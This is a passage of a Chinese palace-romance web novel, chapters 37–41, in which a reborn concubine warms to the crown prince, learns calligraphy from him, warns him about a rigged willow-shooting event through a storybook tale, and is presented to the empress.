《小宫女携崽重生,冷情太子被哄成翘嘴了》 第37章 太子爷哄人:“你不胖,很好。” 凉风习习,一轮蛾眉月高悬于空,有浅浅虫鸣从路旁的花丛中传来。 槛儿对太子独留下她,还是很乐见其成的。 这样她就能想办法让太子去她院里,然后用她早想好的借口提醒太子,让他当心明天的射柳活动。 或者他今晚不去她那边。 那她一会儿就借故提醒他,如此也不用等到明早送他们出门的时候做戏了。 这么想着。 槛儿轻轻咳了咳,款步行到太子跟前。 “殿下。” 骆峋此前不是没和槛儿站着说过话,但前面几回他的关注点都在别的事上。 此时看着小姑娘仰起的白净小脸,他才发现两人的身高竟差这么多。 他身高八尺有四,而她才将将及他胸口。 明明不是纤瘦堪怜的人儿,此时站在他面前却显得如此娇小玲珑,仿佛他两根手指就能将人拎起来。 嗯,思绪有些歪了。 骆峋抬手。 在槛儿簪着绢花发髻上摸了摸。 “可有吃饱?” 呃? 槛儿难得有些懵。 没想到太子开口竟会是这么贴近生活的话。 “饱,饱了。” 槛儿眨眨眼,不明就里地如实答道。 骆峋看着她懵懂迷茫的小表情,低笑了声,不过槛儿没看到他勾唇。 只听他鼻息重了一瞬,有气息落到她额角。 随即没等槛儿弄懂他在笑什么,就听男人用他那惯常清冷的声音说: “也该饱了,比孤能食。” 槛儿:“???” 槛儿都惊呆了。 这还是上辈子这时候那个古板冷漠,从来不会跟人玩笑,高冷得像是不食人间烟火的太子爷吗?! 如果不是亲耳听到,她简直不敢相信这种调侃的话会从太子口中说出来! 等等。 他什么意思? 嫌她吃得多? 还是他跟金承徽一样。 也觉得她吃得多长得胖?! 槛儿有点没好气。 当即瞋了太子一眼,瞋完意识到自己这行为越矩了,她不由又瘪了瘪嘴。 “还不是殿下设的宴太好吃了,妾身没吃过,嘴巴自己就馋得慌了。” 心里则道,明明就是你们吃得太少! 再说她这身肉也不是吃出来的。 她天生就吃不胖瘦不了,在嘉荣堂做杂役那么苦的时候也没见她瘦! 骆峋沿着小径缓缓往不远处的湖边行,随口问:“膳房做的膳味道不好?” 槛儿落后于他侧后方一步的位置跟着,诚实道:“好,但比不得殿下的膳。” 她们的吃食出自膳房的公灶。 所谓公灶。 便是专门负责东宫后院所有妾室的吃食,吃什么都是照着各自的份例来安排。 没什么特别之处。 有宠在身就不说。 其他时候要想吃份例之外的或是想换个口味,通常都需要额外打点。 太子和郑氏则有各自的独灶,且负责料理他们膳食的掌勺品阶也更高。 所以跟太子的膳食比起来,槛儿吃的那些东西,味道自然就差了很多。 她上辈子喜欢吃太子以及后来庆昭帝的膳,重来一回她的口味也没变。 骆峋不知道小昭训心里的上辈子,吃惯了的东西他也没觉得味道有多好。 不过,想到她今日在席间吃得满足的小模样,骆峋觉得日后倒可以寻个时间去她院里同她用几顿膳。 “那你平时,岂不是未曾吃饱过?” 太子殿下面无表情地问。 槛儿:“……” 能不能不要把她想得多能吃似的! 她明明是正常食量! 槛儿真不想理他了。 可不理是不可能的,至少现在不能。 “自然是吃饱了的,膳房没有克扣妾身的份例,也没有把菜往难吃了做,只是跟殿下您的膳比不得罢了。” 还有一句槛儿没说,膳房做的膳可比她做杂役时吃的东西好了不知多少。 因为郑氏不喜她,庞嬷嬷不喜她。 所以其他人见风使舵,本来宫人们不算差的待遇,到了她这儿都变得差了。 但这话是万不能说的。 否则便有告状之嫌。 在宫里,轻易告状的人不值得信任。 不过槛儿没说,骆峋已然想到了。 同时见她微低着头,像是在羞恼什么,但又碍于他的身份不敢放肆。 历来无趣的太子爷忽然反应过来,貌似女子都不喜谈论这样的话题。 譬如说她们食得多,或者身形丰腴? 骆峋步子顿了顿,仍旧是那副冷脸:“能吃是福,以身子康健为重。” 又顿了顿。 “你不胖,很好。” 后面的海顺差点没一口笑喷出来。 他们家的殿下哟,什么时候这么跟姑娘家相处过哟,这会儿连哄人都不会。 幸亏慎王不在这儿。 否则指不定怎么笑话呢! 槛儿愣了愣。 也没想到太子会说出这样的话。 别看上辈子她被这人宠了那么多年,但因着她从一开始就打心底里畏惧他,加之总在意自己出身不好。 所以哪怕跟他做了夫妻,她对他也是敬畏居多,说话行事从来都小心翼翼。 而他呢。 随时随地都冷着张脸,哪怕他们做着最亲密的事,他也从没有哄过她。 说过半句软话。 幸好,她从不求他的情爱。 他们就那么看似鹣鲽情深地过了一辈子,如今不过是几句话的事…… 他居然,在哄她? “怎么?” 男人的声音拉回槛儿的思绪,她才发现自己原来不知什么时候停下来了。 对上他幽冷的眸光,槛儿满心复杂。 不想让他发现。 槛儿上前半步羞涩般偎到太子怀里,声音娇娇的:“殿下您真好。” 骆峋:“……” 骆峋环视四周。 见海顺他们都很识趣地低着头。 又抬头望了望天。 随即才迟疑地伸手虚虚揽住小昭训柔软的腰肢,嘴上却道:“下不为例。” 槛儿知道他重规矩。 不管榻上如何莽撞,像这种在外面搂搂抱抱拉拉扯扯的事,太子上辈子是决计做不出来的,也不准她做。 不过,感受着腰间那只大掌的温度。 槛儿恭顺地应着。 抓着男人衣襟的手却攥得更紧。 骆峋感觉到了。 也感受到了身前像是紧贴着一团饱满蓬松的棉花,软软绵绵,散发着幽香。 很不合时宜。 但刚开荤不久的太子确实被勾起了几分兴致。 可若就这么往她院里去,难免显得急色,太子爷自认不是急色之人。 于是,他任由槛儿偎了会儿后拍拍她的肩头,示意她松手,然后领着槛儿沿着园中溪流漫步了近一刻钟。 就在槛儿以为太子今晚不会去她那儿,准备寻个话头跟他提射柳的事时。 太子忽然转身,朝后院行去。 槛儿:“……” 第38章 太子:看她如此可怜,就纵她一回吧。 太子来了,瑛姑姑他们别提多高兴了,奉茶的奉茶,摆果子的摆果子。 弄完这些后众人自觉退到了屋外,随时准备抬水进屋供两位主子沐浴。 骆峋看在眼里。 抿抿唇,转身进了西边的书房。 槛儿哪知道矜贵的太子爷心里在坚持什么呢,见他今晚似乎别有兴致。 她也跟着进了书房。 骆峋环视一圈,没在书架上看到书。 倒是案上摆着笔墨纸砚。 想到小姑娘的出身,骆峋随手拿起那几张写了东西的纸看了看。 字迹秀气,但力不足形不成。 一看就是出自初学者之手。 但这位初学者很勤奋,进步也很大。 最底下的纸上还只是最为基础的笔画,渐渐能写成字,字迹从最初的一团墨逐渐演变成能看清写的什么。 “殿下,您别看了……” 槛儿也是见太子拿起她的“墨宝”才想起,自己为了能尽快光明正大地看书,所以秉着做戏做全套的想法。 这些天一直在让寒酥跳珠教她识字,让进宫前念过书的瑛姑姑教写字。 上辈子她偷偷学习,也是她们给启的蒙。 后来她靠自学。 练了一手漂亮的簪花小楷。 虽说是做戏,但此时当着太子的面槛儿还是有些臊,想把东西拿回来。 谁知被太子避开了。 “写几个字孤看看。” 骆峋绕过书案道。 槛儿不想写,怕被看出来是装的。 但太子都这么说了,槛儿也不好驳了他的意,只好假装哆哆嗦嗦写了两个字。 不过幸好她的这副身子这会儿本来就不会写字,装起来倒是像模像样的。 骆峋眼帘半掀。 朝槛儿脸上睇了一眼,见她黛眉微蹙神色认真,似在纠结要如何写。 他负手看了会儿。 从后面环住槛儿,握住那只拿笔的小手,指尖拨了拨槛儿的拇指和食指。 “五指齐力,令掌虚如握卵,不必太过刻意于笔杆发力,腕直不僵,此乃枕、此为提、此为悬,可明白?” 骆峋提手示范。 又抓着槛儿的皓腕点拨,低头问。 离得近了。 他身上淡雅的香牢牢将槛儿包裹着,低沉的嗓音说不出的迷醉蛊人。 “明白。” 槛儿将他的话听了进去,跟着调整手的姿势,仿佛真是一个初学者也似。 骆峋见她这般专注,眼神软了一瞬。 旋即握着槛儿的手。 在纸上写了个“東”字。 “运笔力要注于毫端,切忌涂扫,记住有提有按,乃字成形的关键。” 说话间,“東”字写好了。 为了照顾槛儿这个初学者,太子没写他擅长的篆行草,而是写了柳体。 柳体骨力鲜明,线条锐利爽劲。 经太子的手更显崩云惊电,矫若游龙,平添了一股雄伟霸气的磅礴感。 槛儿不是头一回见太子写字,却还是忍不住被他这一手的风骨震撼。 “殿下写得真好。” 她仰起头,真心夸道。 骆峋打小被不少人夸过,但那些称赞的话都是经人精心遣词造句过的。 像槛儿这般直白的夸法。 骆峋还是头一回听。 他不禁把目光移到她脸上。 见她莹白柔媚的小脸在暖黄灯光的笼罩下,仿若蒙上了一层朦胧薄纱。 清澈的眼里倒映着他的身影,满是对他的崇敬和认真,且不似作假,而她整个人是那么的温婉娴静。 宛如一池幽静的湖,让他的心不自觉跟着平静的同时莫名荡起一丝涟漪。 只是这圈涟漪太浅。 转瞬即逝。 骆峋移开眼,也松开了槛儿的手。 “学书次第,你无基础,便从大楷起始,孤幼时临摹过《敬斋箴》和《九成宫》,改日让人给你送几本来。 不过,写字当以认字为先,打好基础为首要,你这里的姑姑不是上过女学? 回头孤让人送些启蒙用的书来,都是孤幼年用过的,上面有批注。 你暂同你那姑姑启蒙,再慢慢习字,研习《增广贤文》、《朱子家训》此类读物。” 槛儿错愕,红唇翕了翕。 “您要将您用过的书给妾身,供妾身学习?” 骆峋:“有何不妥?” 没有不妥。 只是出乎槛儿的意料。 因为上辈子瑛姑姑她们也只会最基础的东西,写的字也是奇形怪状,所以槛儿那时候的学习很艰难。 可她不敢跟太子说。 因为她卑微的出身,因为她是他所有妾室里,唯一一个没有学问的人。 她觉得羞耻、觉得难堪。 太子那时又冷,她和他在一起除了做那事,他们之间能聊的东西少之又少。 等到她终于也敢和他坐在一起看书写字时,她的字已经写得很好了。 所以这会儿听他教她写字,听他说要把他幼年用过的东西送来供她学习。 槛儿就怔忪了。 “您,您不介意妾身没有学问吗?” “为何要介意?” 骆峋下意识问。 槛儿喉头发哽,是这具身子的本能。 它本能地在自卑,在害怕。 “因为妾出身低微,妾不会认字,不会吟诗作对,不会画画,同您下不了棋。” “您,不嫌弃吗?” 这些话,上辈子在槛儿心里藏了好多年。 奈何她没那胆子。 也是不想自取其辱。 后来年纪大了,她会看书写字了,这些念头渐渐就被她抛到九霄云外了。 但是很显然。 重活回来,身子的本能提醒了她。 也算是一种执念吧。 槛儿就是想听他亲口告诉她。 骆峋不明白小昭训眼里的悲伤,但他看出了她的忐忑、自卑和羞耻。 沉默片刻。 他道:“不嫌弃。” “高者未必贤,下者未必愚,世人出身固然有高低之分,但人的才能与品性从来都不是以出身来定论。 好比糟糠不饱者不务粱肉,短褐不完者不待文绣,清贫人家衣食问题都难以解决,又如何追求华服美食? 诗词歌赋,琴棋书画乃文人雅士修身养性的必由之径,而非人生存必备之能。 你会刺绣洗衣,会烹调佐膳,足矣,孤不嫌你的出身,不嫌你不会识文断字,你亦大可不必为此而耿耿于怀。” “明白?” 他的脸还是那么淡漠威严,宽慰的话从他口中出来也带着浓浓的压迫感。 像是在命令她必须听他的。 可他替她拭泪的动作很轻,掌心很暖。 槛儿便笑了,抱着他的手。 “明白了,谢谢殿下。” 骆峋不是很懂她眼中的感动,但想到她被金承徽欺辱,想她比他小六岁。 他似乎又有些能明白。 稍顷,骆峋略显僵硬地将人拥入怀中。 “别哭了。” 书房这样的地方本不该儿女情长。 罢。 看她如此可怜,便纵一回吧。 下不为例。 两刻钟后,卧房。 大抵是顾虑槛儿不久前那般伤怀,今晚的太子没有像前两回那般蛮横霸道。 不过不知是屋中太黑,不便于他视物。 还是因为别的。 他难得温柔的行举中似乎夹带了几分生疏,杂乱。 反倒是槛儿被吊足了胃口。 左右屋里一片黢黑。 加上难得听了他那么多宽慰话,在这种谁也看不清的环境中槛儿的胆子也变大了。 帐中充斥着太子愈发急促低沉的喘声,偶尔伴随一句不成调的“放肆”。 但每回都很快被转移注意力,然后太子便充分发挥了他敏而好学的能力。 等到终于停歇,谁都不想动。 槛儿趴在太子肩头,他抚着她的长发。 偶尔一个抬首,一个低头。 嘴唇碰到一起。 最后还是槛儿受不住给打住了。 她可没忘了正事。 得趁他还没走,赶紧说。 “殿下,您明日要参加射柳吗?” 第39章 贴贴,“殿下怎么知道!” 经她一说,骆峋忽然想起。 郑氏说明日带小昭训出席宫宴,不久前离开时却没听她向她提及此事。 是觉得他会告知。 还是…… “嗯,参加。” 昏暗里,骆峋的眼神藏着凉意。 槛儿抱紧他,故作天真:“那殿下一定很厉害,是不是每回都拔得头筹啊?” “没有每回,孤有时不会参加。” “那就是参加的时候每回都拔得头筹咯,殿下比话本里的男主人翁都厉害。” 骆峋微不可闻地哼笑了声。 只当她刻意讨好。 槛儿刚起了个头呢。 感受到他的鼻息也浑不在意,继续道: “那话本里的男主人翁武艺高强,力可拔山举鼎,射柳时把葫芦射得粉碎。 里面的鸽子都被射成了重伤,殿下,你们射柳也会射伤鸽子吗?” “不会。” 骆峋听着她的稚语。 难得心情好,也愿意同她多说几句。 “射柳意在祈福,多考验骑射技巧,装鸽子的葫芦经特殊工艺处理,箭矢也有经钝化,不会轻易伤到鸽子。” 槛儿恍然:“那是不是就算射柳的人力气很大,射破了葫芦后箭碰到了鸽子身上,箭头也不会重伤鸽子。” “可能会伤到,但不会重伤。” 槛儿琢磨似的点点头。 “鸽子受伤的程度大概类似于妾身夜间睡迷糊了起来,脚趾撞到了床脚。” 骆峋:“……也许。” 他没被撞过,体会不到是哪种痛。 这时,怀里的人呢喃了一声。 “难怪呢……” 骆峋:“嗯?” 槛儿:“妾身忘了是在哪听的这个故事了,大致就是男主人翁是某个高门大户里的庶长子,他射柳时重伤鸽子,鸽子最终救治无效。 事后坊间有流言传出,说那少爷命中不详且心怀不轨,鸽子一事便是上天预警。 若他们家执意留他在家,整个家族今后都会遭受牵连,最终家破人亡。” 骆峋并没有因为槛儿说的是话本故事便爱答不理,听到此,他很配合地问了句。 “然后?” 槛儿就继续了。 “那家人表面看似没理会这些流言,但实际他们的当家人,也就是那少爷的爷爷,却把这事记在了心上。” 她没敢说爹。 怕指代得太明显,太子会起疑。 “过了一段时间,大少爷做了一件有利于家族的大事,很受族中人拥护。” 骆峋:“随后有人暗中构陷于他,家主心中更生猜忌,鸽子事件再次被提及。” 槛儿差点没被口水呛到。 装出吃惊来:“殿下您怎么知道!” 骆峋一低眼对上一双在黑夜里也亮晶晶的眼睛,他不由暗觉好笑。 高门大户。 最不缺的便是此等争权夺利之事。 皇家是其中的翘楚。 而他身在局中,对这些门道再熟悉不过。 “继续,还有吗?” 骆峋愿意听她说,便问道。 槛儿点头:“然后大少爷就开始各种调查,这段剧情比较长,妾记不太清了。 反正鸽子事件被调查出来了,原来葫芦里装的那只鸽子本身就奄奄一息。 是有人买通了负责安排射柳活动的人,往葫芦里装的伤鸽!” 骆峋猜到了。 槛儿语调气愤:“可没有证据您知道吗?最关键的人找不着!家主就觉得所谓的真相是大少爷自导自演。 鸽子事件最终成了给他定罪的一项把柄,家主偏听旁人,认为大少爷命中不详,有弑亲夺权之嫌,便打断大少爷的腿,将人逐出了家门!” 说完,她似是格外义愤填膺。 说到激动处还“腾”地坐起来,像是忘了自己此时身上什么遮挡物也无。 骆峋伸手将人拉回来,让她趴到他胸口。 “著书之人刻意将故事写得如此跌宕起伏,方才有人买账,无需较真。” 槛儿顺着他的话平复了会儿情绪,随即抓着他的手,终于步入了正题。 “殿下,宫里的射柳活动没事吧?” 骆峋感受到她微微瑟缩,像似在怕什么。 他不禁心思微转。 “怕孤遇上类似的事?” 槛儿搂紧他的脖子,依赖般蹭了蹭。 “宫中护卫森严,妾知道,可妾不知道以前听谁说的,说坊间的很多话本是根据发生过的事编撰的。” 槛儿想了两个法子来提醒太子此事,其中首选的便是由话本引出这一段。 太子向来行事谨小慎微,上辈子会中招,当真就是因为智者千虑必有一失。 他从来就不是自负的人。 不会轻易对旁人的言行掉以轻心。 所以槛儿能肯定。 只要让太子对射柳一事有了印象,他之后就一定会暗中叫人调查,防范。 心思转得飞快。 槛儿没有直接告诉太子该怎么做,而是很小声道:“妾愚钝,对很多事都不懂,妾只不想殿下有事。” 骆峋自然没有觉得小昭训是对他有多用情至深,才会如此忧心于他。 但她的想法,他能理解。 只有他好好的,她才有倚仗,才能好好的。 “知道了,明日孤会确保万无一失。” 她的小心思他明白。 但她的好意,他也会承。 何况她确实提醒了他。 最近四处奔波忙得晕头转向,加上要谋划的事,明日的射柳的确被他忽视了。 槛儿一听他这话就知道事情稳一半了。 至于另一半,等确定明日的宫宴全程没有发生任何变数的时候再稳吧。 这时。 男人清冷的声音在头顶再度响起:“明日,你随太子妃一同赴宴。” 槛儿:啊?? . 半个时辰后。 目送太子离开,槛儿同瑛姑姑他们说了明儿要随太子妃参加宫宴的事。 几人闻言先是一愣,旋即一个个笑开了花儿,简直比收到了赏银还高兴! 宫宴啊。 后宫可不是人人都有资格参加宫宴的,按他们昭训主儿的位份就没有,但他们主子明天却能去赴宴! 能在皇后娘娘跟前露脸! 连瑛姑姑都没控制住高兴劲儿,忙着替槛儿挑选明日穿戴的衣裳首饰。 “得亏明儿个没大礼,用不着穿礼服,没啥典礼规矩守,省了不少事儿,若不然这个时候肯定来不及!” 端午为民间节俗。 宫廷活动以节庆娱乐、祈福驱邪为主,所以来参宴的人用不着像除夕宴那样,向帝后行三跪九叩朝拜大礼。 如此就简便许多。 槛儿听着瑛姑姑的咕哝,笑而不语。 直到准备歇下。 槛儿才单独留了瑛姑姑,告诉她,她能去参宴是郑氏主动向太子提起的。 不过,槛儿也就是跟瑛姑姑说一声。 她不会因为机会是郑氏为她争取的,就矫情地不想去,亦或者感到膈应。 郑氏很显然是在借她,来向太子和外人展现她这个东宫主母的贤淑。 既如此。 她们便算是各取所需。 所以没必要有任何心理负担。 瑛姑姑见槛儿这么想得开,不禁也放宽了心,“在这后院待了这么久,您明天终于能出去透透气儿了。” 是啊。 宫宴对槛儿来说并不稀奇。 但举办端午宴的西苑风景如画,能到那边去放放风确实是件值得高兴的事。 心情好,槛儿夜里便睡得格外香。 次日一早起来红光满面。 有昨晚的家宴在前,今儿跳珠她们也没想着把槛儿打扮得多花枝招展。 但到底要到皇后娘娘和其他人前露脸,真什么都不讲究也不行。 没得被人说寒碜。 所以瑛姑姑与寒酥、跳珠给槛儿穿戴时,在小细节上花了很多心思。 譬如槛儿底子好,五官娇媚。 瑛姑姑就还是没给她上妆,只在右眼侧粘了几粒细小珍珠,中和了媚态。 上上下下一番打扮下来。 跳珠、喜雨就差没把槛儿夸上天,望晴也笑着,眼底有着说不出的复杂。 槛儿的视线落在镜子上。 第40章 太子爷:她可真不知羞! 参加宫中的宴席低位妃嫔可以有两个随行宫女,槛儿不能被称作妃嫔,但规制是按照这个标准来的。 跳珠机灵,嘴皮子利索,适合在外走动,槛儿便还是带了她,此外还带了银竹。 银竹此前曾作为太子的随行宫人经常在东宫外来往,对宫宴也熟悉。 槛儿不在,永煦院要留能主事的。 自然当属寒酥和瑛姑姑。 收拾好交代了几句,主仆仨便出了门。 嘉荣堂的人先前出于对太子妃的敬畏,和对槛儿做了主子这事的复杂情绪,待槛儿的态度一直不咸不淡。 今儿个倒是出了奇。 见着槛儿个个儿脸上都堆着笑,就像是槛儿同他们主子有多亲近似的。 槛儿心知肚明,心安理得地受下了。 还不到辰时。 今儿不用请安,秦昭训自然没来,约莫一盏茶的功夫后曹良媛到了。 看到槛儿。 曹良媛一愣,旋即注意到槛儿的装扮,她的心底升起一股不好的预感。 果不其然。 “良媛有所不知,宋昭训一会儿要与您和太子妃一道出去过端午呢。” 从内室出来的霜云一脸喜笑颜开,不知道的还当她同槛儿关系多好呢。 槛儿侧首看她一眼。 霜云掩掩唇。 “瞧奴婢这嘴,真是没个把门的,抢了宋昭训的话,宋昭训不会怪罪奴婢吧?” 话是这么说,她脸上可看不出丁点儿对槛儿的尊重和认错的态度。 她抢这话,无非是想激起曹良媛对槛儿的不满,挑拨两人打起来罢了。 槛儿笑得温婉:“霜云姑娘好心替我答话,我如何能怪罪于你,有劳姑娘了。” 霜云讨了个没趣。 敷衍地扯扯嘴角,出去使唤人做事了。 “这是怎么回事?” 曹良媛落座,重新扬起笑。 “宋妹妹要去赴宴,什么时候定下的?我都不知道呢,可是殿下的意思?” 太子昨晚好不容易来趟后院,为了这姓宋的罚了金承徽也就罢,还当着她们几个的面单独将人留下。 之后更是又去了这人屋里! 如今这姓宋的一个区区七品小昭训,就要跟她们一道去参加宫宴?! 曹良媛不信这里面没有太子的意思。 就算没有。 太子也是应允了的! 所谓不患寡而患不均。 都是做妾的,凭什么她能这般得宠! 想到这些,饶是自诩沉得住气的曹良媛,此时眼里也难免闪过一丝嫉妒。 槛儿看见了。 微微垂眸,装出羞涩来。 “太子妃宅心仁厚,特许我参加今日宫宴,没能及时知会曹姐姐,请姐姐见谅。” 郑氏准的? 曹良媛不显地皱了皱眉。 郑氏此前对宋槛儿的态度一直不咸不淡。 搞得她都看不懂郑氏葫芦里卖的什么药了,如今却准许宋槛儿到人前露脸? 曹良媛想到了半月前郑氏和太子闹的那场矛盾,她脑海里猛地一激灵。 但很快,她又把念头给按住了。 不不不。 以太子的性情,不可能单纯为了这么个小昭训落了郑氏这个发妻的脸子。 所以两人矛盾的根源不是宋槛儿。 那会是什么呢? 郑氏抬举宋槛儿的目的是什么? 难不成是要将人立起来。 让对方跟她打擂台?可她是太子立起来,太子会允许宋槛儿同她作对? 曹良媛越想越乱。 也没了做戏的心思。 说了句“那恭喜妹妹了”,便接过宫人奉上的茶兀自喝起来,站在她身后的抚琴则暗暗瞪了槛儿一眼。 狐媚子! 槛儿轻飘飘看她一眼。 气得抚琴暗暗跺脚。 内室。 郑明芷讥诮地嗤了一声。 “他倒对那小蹄子挺上心,轻易就点了头,也不嫌那贱婢在外给他丢丑!” 她把事情拖到昨晚才说。 一来太子忙着正事,她确实不好在这个节骨眼儿上拿后院的事去扰他。 省得让人觉得她分不清轻重缓急。 二则,也是她心里不舒坦。 终究还是不想那小蹄子轻易得逞,想看她临到赴宴了才着急忙慌地收拾。 是时她随便寻个借口把自己摘出去,也算坐实了那贱婢上不得台面。 反正有金承徽的事在前。 她被金承徽气得忘了这事儿也正常。 她打算半夜了。 或是到了今儿一早再派人去传消息。 谁知太子居然把事给那小蹄子说了,插手该主母管的事,他也不嫌跌份儿! 庞嬷嬷替郑明芷顺着气儿。 “您与东宫一荣俱荣,一损俱损,那蹄子再是不好,出去了就代表着东宫的颜面,她自己丢丑无妨,您……” 郑明芷拍拍她的手,示意她放心。 她虽想那小蹄子当众丢丑,最好是能让她今后都没脸出去见人的那种丑。 但如今她和东宫共荣辱。 她不仅不能动手给那小蹄子下套,若那蹄子真被人羞辱或是做了落东宫体面的事,她还得帮着遮掩。 只有东宫好了,她才能好。 一刻钟后。 郑明芷从内室走了出来。 她今日打扮得比昨晚家宴还要雍容端庄,满头珠翠,通身的东宫主母气势。 槛儿和曹良媛向她请安时,她的眼神就审视地在两人身上打了转。 然后象征性说了两句要恪守规矩,小心行事之类的话便领着人打头出去了。 曹良媛和槛儿有序地跟上。 一路无言,到了东宫大门口刚及辰时。 门前停着储君的仪仗队。 十六抬的朱漆轿辇,辇身上八条四爪腾云龙在晨光中威风凛凛,另设有华盖,以金银线绣着云鹤、麒麟。 轿辇前侍卫举幡开道。 东宫属官各个身着官袍,分两列站于后,偌大的东宫门前一片静默庄肃。 槛儿她们为内宅女眷,自然不能就这么出去同这些属官们直接碰面。 她们便在距离门口四丈远的停下。 原地等了会儿,不多时太子的身影出现在了仁安殿前的朝华门门口。 今日的他一身赤底织金云龙纹的朝服,袍子上绣着山、龙、宗彝九章纹,腰束金镶玉缂丝带,坠着风调雨顺佩绶带。 头顶太子冠,脚踩四龙缎面靴。 随着他一步步走来,晨阳往其身上镀着金光,更衬得他雍容威仪不似凡人。 饶是郑明芷再不喜太子。 也不得不承认这人当真有一副好皮囊,那通身的气势激得她心砰砰直跳。 曹良媛强行镇定,随郑明芷一道向来人见礼。 槛儿倒是见惯了太子的气派,但这具身子还是头一回见这样的他。 以至于一见到人,她的脸就烧了起来,心也跳得厉害,像藏了只兔子 不过,人都是好美的。 撇开情情爱爱,槛儿对太子的外形还是极其喜爱的,不论脸还是身子。 趁人没走远,槛儿暗自欣赏了会儿。 殊不知太子爷目力惊人。 远远就看到了她娇羞甜蜜又略带满意的眼神,显然是看着他想到了别的事。 什么事能让她露出这样的眼神? 骆峋当即想到了昨晚。 想到她那时,在他耳边说他好厉害的话。 骆峋抿紧唇。 光天化日,朗朗乾坤。 她可真不知羞! 第41章 太子绷着脸走,“宋槛儿!你怎么在这?!” 太子走了,绷着脸走的。 不过他素来不喜形于色,倒也没叫旁人看出来。 今天进宫赴宴的皇亲国戚、公侯伯爵和朝中大臣会先去乾元殿拜见元隆帝。 女眷则要先去给裴皇后请安,然后再由帝后率群臣及女眷到西华门汇合。 太子要伴驾。 不和槛儿她们同行。 等属官们从门前经过,郑明芷率槛儿等人从门内出来目送太子的仪仗队。 稍顷。 太子妃的轿辇仪仗上前,跟着是曹良媛的四人抬肩舆,槛儿的两人抬肩舆。 三人先后坐上各自的代步工具,一行人浩浩荡荡地朝坤和宫行进。 大概因为心境不同了。 所以哪怕宫里的一砖一瓦都是自己所熟悉的,槛儿也没觉得枯燥无趣。 反倒因为这一辈子得来不易。 槛儿珍惜,欢喜,连带看这些熟悉的景心里也充满了无限感慨和畅快。 一刻钟后,到了坤和宫。 裴皇后还在内室梳妆。 槛儿三人由宫人领着到了正殿后,便在门前台阶下阴凉的地方候着。 槛儿对坤和宫自然不陌生。 但她还是在不卑不亢的基础上,很形象地表现出了第一次来此该有的紧张。 郑明芷侧目。 见槛儿端正地站着,双眼低垂,看起来从容本分,但那双交叠在身前的手却微微攥紧,暴露了她的不安。 上不得台面的。 郑明芷不可见地撇了撇嘴。 这时,殿内传来轻微的珠帘碰撞声。 裴皇后出来了。 坤和宫的大宫女碧荧出来请她们进去。 郑明芷立时隐去眼底的不屑,扬起温婉的笑领着槛儿和曹良媛进屋请安。 裴皇后对三女叫了起。 随后目光投到槛儿身上,状似随口提了一句:“这位便是宋昭训?” 槛儿半垂着眼,踩着小碎步上前。 郑明芷笑道:“儿媳寻思着东宫难得进回人,便让她出来露露脸,长长见识,若有失礼之处还请母后莫怪。” “不怪。” 裴皇后浑不在意。 随即对槛儿道:“抬眼我瞧瞧?” 槛儿便抬起眼,轻唤了声“娘娘”。 趁裴皇后打量她的时候,槛儿也迅速不动声色地打量了裴皇后一番。 裴皇后和元隆帝是少年夫妻。 她只比元隆帝小三岁,当下五十有四,不过瞧着倒只有四十出头的模样。 方圆脸,柳叶目,眉宇间带着一股将门女子的英气和久居高位的威仪。 一身明黄直领对襟大衫,搭深青色霞帔,其上皆用金线绣着龙凤翟鸟,缀有珍珠宝石,一派的华贵不凡。 上辈子槛儿没见过裴皇后。 因为太子遭幽禁的那年。 宫中传言帝后爆发了史无前例的争执,而裴皇后也死在了那场争执之后,据说是急火攻心导致的暴毙。 当时槛儿只是奉仪。 她得知的消息都是小福子从别处打听来的,所以这其中的真假槛儿并不清楚。 她唯一一次见裴皇后,是随郑氏她们到坤和宫哭灵,见的裴皇后的灵位。 “嗯,是个标志人儿。” 裴皇后点点头,随手褪了一支镯子交给大宫女碧烟,由碧烟赏给槛儿。 “谢娘娘赏赐。” 槛儿再度跪下,叩首谢恩。 裴皇后:“太子,太子妃既抬举了你,你便当得安分守己,尽心伺候太子,太子妃,争取早日为太子开枝散叶。” “是,妾身谨遵娘娘教诲。” 到底只是个小侍妾,裴皇后也没再多言。 这时,有小太监来禀。 说是信王妃、荣王妃、睿王妃、慎王妃和宣王妃领着小世子、小公子及小郡主们,率各府侧妃们都到了。 另几位已成婚的公主们也到了。 裴皇后:“叫他们进来。” 逢上这种宫宴。 后宫妃嫔和尚未出宫开府单住的皇子公主们,当日无需来向裴皇后请安。 来朝见裴皇后的主要分两波。 一波为各亲王府中的王妃侧妃跟她们的儿女,另一波为宗亲妇、命妇。 郑明芷逢这时候要就近陪在裴皇后身边,槛儿和曹良媛无资格受这些女眷们的礼,则只能站在一旁。 很快,随着一阵珠钗环佩响。 五位王妃、四位公主、十八位王府侧妃并一群小郎小姐儿相继进入殿内。 宫人将数个软垫分两排摆放好,众人按长幼尊卑分批向裴皇后行跪拜礼。 礼毕,裴皇后给几位王妃、公主和几个年纪稍大些的郡主都赐了座。 侧妃们则站在各自的主母身后,小郎君与小姐儿们则或乖巧站在嫡母身旁、或由随行乳母抱在怀中。 皇家中人讲的就是规矩。 从进殿到行完礼。 除了还不会走路,由乳母抱着的慎王府五公子、宣王府大公子和二郡主外。 其他人包括只有两三岁的孩子们在内,没有任何一个人左顾右盼,全都神态恭敬地面朝着裴皇后的方向。 直到大家坐下和裴皇后寒暄,才终于有人发现东宫女眷似乎多出了一个。 东宫后院添了人,这事在宫里不是秘密。 这些贵妇们近段日子进宫来给裴皇后和各自的母妃请安,自然也听说了。 私底下她们还谈论过此事。 都不蠢。 都大致猜出了太子妃的意图,但也只是在心里猜测,没人敢当众说出来。 毕竟人家正主都还没表态。 不过,她们猜归猜。 却并不清楚太子新添的人是何模样。 作为尊贵的王妃公主和皇家侧妃,她们也不会在意东宫后院一个小妾的美丑。 所以谈论过一阵后,众人就把这事抛到了脑后,直到这会儿发现多出的女子。 槛儿毕竟是东宫的人。 这样的场合她若一味低眉敛目,难免显得小家子气,落了东宫的体面。 所以这会儿她同曹良媛一样看着屋里的这一众人,随着他们与裴皇后的寒暄或得体微笑,或专注聆听。 因此注意到她的人不仅注意到了她的身段儿,还一眼看清了她的样貌。 好在,都是见过大场面的贵妇。 又各有傲气。 哪怕心里再如何怔愣、惊艳。 她们也没当着裴皇后的面表现出来,更没有像寻常妇人那般过问一个小妾。 只管问候裴皇后,殿中气氛倒是和谐。 槛儿安静地看着,同时把脑海里的记忆跟眼前的这些熟面孔一一对上。 就在这时,一道女声突然响起。 “宋槛儿!你怎么在这儿?你这时候不是应该……” 却是宣王府的姜侧妃。 槛儿循声看去。 